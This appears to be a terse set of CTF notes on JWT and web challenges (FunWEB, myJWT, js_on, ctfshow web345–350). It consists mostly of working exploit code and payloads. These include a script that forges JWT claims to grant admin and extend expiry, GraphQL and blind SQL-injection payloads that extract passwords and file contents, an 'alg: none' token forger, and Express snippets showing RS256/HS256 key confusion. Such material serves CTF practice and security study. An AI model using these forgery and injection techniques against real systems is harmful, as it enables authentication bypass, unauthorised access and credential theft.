FunWEB

from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')
print(token)

eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMDc2NTgsImlhdCI6MTY2NzEwNzM1OCwiaXNfYWRtaW4iOjEsImlzX2xvZ2luIjoxLCJqdGkiOiJ1aTVrcDdGMmJNMGYwYXY2cVpSRTJ3IiwibmJmIjoxNjY3MTA3MzU4LCJwYXNzd29yZCI6ImEiLCJ1c2VybmFtZSI6ImEiLCJzdWIiOiJib2IifQ.a-ALRvRlYuUfThbfYfHuUqlH75vv-LynOZBxeUc_XbIKwNrEFk3aa2xr1HfdfwFFiKKZ75yVnWY8KBH-RHQdmj7igHMDPqgwDiM5qi7fkLwyVX36cRyj79NQiiMAmyVAlrC4BaIA8EblhS1BvKecNgf1kGf6Ujyg9NtJfx6cSTbr0u-hdZ6vVH7AA_9W_-vMxBE-H10oquc4j4WRIGaossZByZp6Fy5NpPqUD9t3jZsPNU4CugHR947b0sVWJ964uaXAe8IJTGA8S6hM5NirbHDEr0qboE4dCNnV-pmbs7ENpNhfI9eTMDE6Xm0mGO94sChHicBY4pEvW7NYX23yPQ

{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }

Anmic

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0

import string
def _enc(c,index):
    key = 'mllw'
    if c.isupper():
        return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)
    else:
        return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)
        
enc = 'pdexbdlueesabldoizczudmlfdo'
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
res = ''
for i in range(len(enc)):
    for j in table:
        if _enc(j,i) == enc[i]:
            res+=j
print(enc)

myJWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9.UizgMNJBMNy0T2eUc-GuYKMRBzDTrH2- faB7v06bfv2qbySyDHrXGVFPTJA2wIOZGXovwr-7XzIOTSIk-USTj9bl4HkLCKOVwckxCk0bGgzPX8Sz3r-f82Rv4wBkn9x5

eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOnRydWllLCJleHAiOjE2NTkyNjYzMDY0MzN9.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

js_on

{
“user”: “admin’//and//1=2#”,
“news”: “key:[email protected]&6"
}

{
“user”: “admin’//and//1=1#”,
“news”: "key:[email protected]&6”
}

import jwt
import requests
url = 'http://xxx.changame.ichunqiu.com/'
data = ''
dict = '0123456789abcdeflg-{}'
for i in range(1, 60):
    for j in dict:
        encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRt*[email protected]&6"},'xRt*[email protected]&6',headers={"alg":"HS256","typ":"jwt"})
        cookies = {
            'UM_distinctid':'',
            'Hm_lvt_2d0601bd28de7d49818249cf35d95943':'',
            '__jsluid_h':'',
            'token':encoded_jwt
        }
        try:
            res = requests.get(url=url,cookies=cookies,timeout=3)
            if 'xRt*[email protected]&6' in res.content:
                data += j
                print(str(data))
                break
        except Exception as e:
            print(str(e))

web345

web346

web347

import time
import jwt
# payload
token_dict = {
  "iss": "admin",
  "iat": 1610432484,
  "exp": 1610439684,
  "nbf": 1610432484,
  "sub": "admin",
  "jti": "efec0205f601a537847ee2dd3ffa81ff"
}
# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
                     key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                        algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)

web348

web349

npx express-generator

var fs = require('fs');
var jwt = require('jsonwebtoken');
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});
router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
       res.end(flag);
      }else{
       res.end('you are not admin');
      }
    });
});

web350

var fs = require('fs');
var jwt = require('jsonwebtoken');
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});
router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
       res.end(flag);
      }else{
       res.end('you are not admin');
      }
    });
});